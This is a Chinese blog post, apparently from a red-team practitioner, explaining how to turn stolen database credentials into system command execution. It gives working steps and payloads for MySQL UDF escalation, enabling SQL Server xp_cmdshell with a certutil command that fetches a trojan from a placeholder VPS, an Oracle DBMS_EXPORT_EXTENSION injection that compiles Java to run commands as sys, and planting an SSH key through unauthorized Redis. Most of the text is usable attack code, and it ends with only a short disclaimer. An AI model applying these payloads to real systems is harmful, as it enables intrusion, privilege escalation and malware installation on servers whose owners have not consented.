本文由 简悦 SimpRead 转码, 原文地址 mp.weixin.qq.com
hw 结束,容我歇几天
作者:keaitm
介绍:没有人比我更擅长干饭
在 hw 时常常能从配置文件中获得一些数据库的账号密码,然后就可以尝试利用数据库运行系统命令达到上线等目的。
✔ 0x01 mysql 的 udf 提权
1.select @@secure_file_priv
secure_file_priv 参数值表示有导入导出权限的路径
为空或为需要操作文件夹的父目录。
如果该参数为空(不是 null),则表示可以向任何目录写操作
- 数据库版本不同,udf.dll 放置目录不同
version<5.1 c:\windows\system32
version>=5.1 mysql 安装目录 \ lib\plugin
- 注意数据库是 32 位还是 64 位,根据位数选择 udf 的 dll(或 so)
使用SHOW VARIABLES LIKE '%version%'
查看
- 账户对数据库有插入的权限
用MySQL5.1.60
来一遍完整流程,udf 函数库的话,linux 用 so 文件就可以了(应该吧):
首先,运行以下三行代码分别获得 secure_file_priv、版本信息、安装路径
select @@secure_file_priv;
SHOW VARIABLES LIKE '%version%'; //mysql版本和位数
select @@basedir; //mysql安装目录
MySQL5.1.60 目录下开始是没有 lib\plugin 目录的
mysql 一般默认是没有 lib\plugin 目录的(据说安装完整版 mysql 就会有)
在低版本的 mysql 中可以使用 NTFS 流创建 lib\plugin 目录,具体命令如下:
SELECT '1' into dumpfile 'F:/phpstudy8.1/phpstudy_pro/Extensions/MySQL5.1.60\\lib::$INDEX_ALLOCATION';
SELECT '1' into dumpfile 'F:/phpstudy8.1/phpstudy_pro/Extensions/MySQL5.1.60/lib\\plugin::$INDEX_ALLOCATION';
//运行报Error writing则说明文件夹创建成功
//若报Permission denied则说明失败
--tips:mysql5.1.60
版本还能用,版本再高就不一定了,高版本 mysql 会限制流的使用。
高版本没有 lib\plugin 目录目前不知道怎么解决,希望有大佬能指点!
利用 dumpfile 写入 udf.dll 文件,这里要先把文件转换为 16 进制数据,用 UltraEdit 列模式复制出来 16 进制数据,然后写个小脚本把空格和 \ n 删掉。
脚本大概有这么小:
lines=[]
with open("udf.txt", 'r') as file_to_read:
while True:
line = file_to_read.readline()
if not line:
break
line = line.strip('\n')
line = line.replace(" ","")
lines.append(line)
with open("new.txt", 'a') as new:
for a in lines:
new.write(a)
udf.dll 可以在 msf 中获得:
默认为/usr/share/metasploit-framework/data/exploits/mysql
目录
使用 dumpfile 写入 udf.dll:
select unhex('dll文件的16进制编码,不要空格和换行,很长一串') into dumpfile 'F:/phpstudy8.1/phpstudy_pro/Extensions/MySQL5.1.60/lib/plugin/udf.dll';
写入成功。
使用 create function 创建自定义函数 sys_eval():
create function sys_eval returns string soname 'udf.all';
可用函数在 dll 文件中查看:
使用 sys_eval()
接下来就可以进行 certutil 下马之类的操作了。
enjoy it!
✔ 0x02 SQL Server 的 xp_cmdshell
SQL Server 由于有 xp_cmdshell 操作相对简单
拥有 sa 权限账户
xp_cmdshell 一般默认是关闭的,我们要先把这个模块开启
//要先选择master数据库
sp_configure 'show advanced options',1
reconfigure
go
sp_configure 'xp_cmdshell',1
reconfigure
go
xp_cmdshell 还有可能被删除,可以尝试恢复
exec sp_dropextendedproc 'xp_cmdshell' dbcc addextendedproc("xp_cmdshell","xplog70.dll") OR dbcc addextendedproc("xp_cmdshell","d:\Program Files\Microsoft SQL Server\MSSQL\Binn\xplog70.dll");
开启 xp_cmdshell 后就可以通过数据库执行系统命令
exec xp_cmdshell 'whoami'
//例:可以使用xp_cmdshell进行下马操作,需要在vps上开一个http服务
exec xp_cmdshell 'certutil.exe -urlcache -split -f http://vps_ip:vps_port/你的马.exe c:\temp\a.exe';
✔ 0x03 oracle 的 DBMS_EXPORT_EXTENSION() 漏洞
- 拥有一个有 create session 权限的账户
2.DBMS_EXPORT_EXTENSION() 漏洞存在
DBMS_EXPORT_EXTENSION() 中的 GET_DOMAIN_INDEX_TABLES() 函数是以 sys 权限定义,当其被低权限用户调用时将会以 sys 权限执行。
数据库为 oracle10g 的 10.2.0.1
版本。
创建一个低权限用户 test
本人不擅长 oracle,这里直接使用了 redn3ck 大佬的 payload。
- 创建 java 代码 LinxUtil:
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args){try{BufferedReader myReader= new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}public static String readFile(String filename){try{BufferedReader myReader= new BufferedReader(new FileReader(filename)); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}}'''';END;'';END;--','SYS',0,'1',0) from dual
- 赋予 public 用户 java 权限:
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''begin dbms_java.grant_permission(''''''''PUBLIC'''''''', ''''''''SYS:java.io.FilePermission'''''''',''''''''<>'''''''', ''''''''execute'''''''');end;'''';END;'';END;--','SYS',0,'1',0) from dual
- 创建系统命令调用函数 LinxRunCMD:
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''create or replace function LinxRunCMD(p_cmd in varchar2) return varchar2 as language java name''''''''LinxUtil.runCMD(java.lang.String) return String'''''''';'''';END;'';END;--','SYS',0,'1',0) from dual
- 将 LinxRunCMD 函数执行权限赋予 public 用户:
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxRunCMD to public'''';END;'';END;--','SYS',0,'1',0) from dual
- 使用:
select sys.LinxRunCMD('whoami') from dual
接下来就是愉快的上线环节。
✔ 0x04 未授权访问 redis 利用 SSH key
实战很少能用,一般遇到的 redis 权限都比较低,内网较多。
需要高权限 redis 账户,能对目标文件夹写入操作。
在本地生成 rsa 密钥对:
- 在 / root/.ssh 目录运行
ssh-keygen -t rsa
命令,然后一直回车,得到 rsa 密钥对。
- 将公钥 id-rsa.pub 写入目标机 / root/.ssh 目录下的 authorized_keys 文件中:
- 直接在. ssh 目录下尝试用 rsa 文件连接目标机:
成功,开始为所欲为。
可以利用相似的方法写入 webshell,前提是知道绝对路径
✔ 0x05 参考
Oracle 注入 - 命令执行 & Shell 反弹
免责声明:本文仅供安全研究与讨论之用,严禁用于非法用途,违者后果自负。
公众号
来都来了,不关注一波?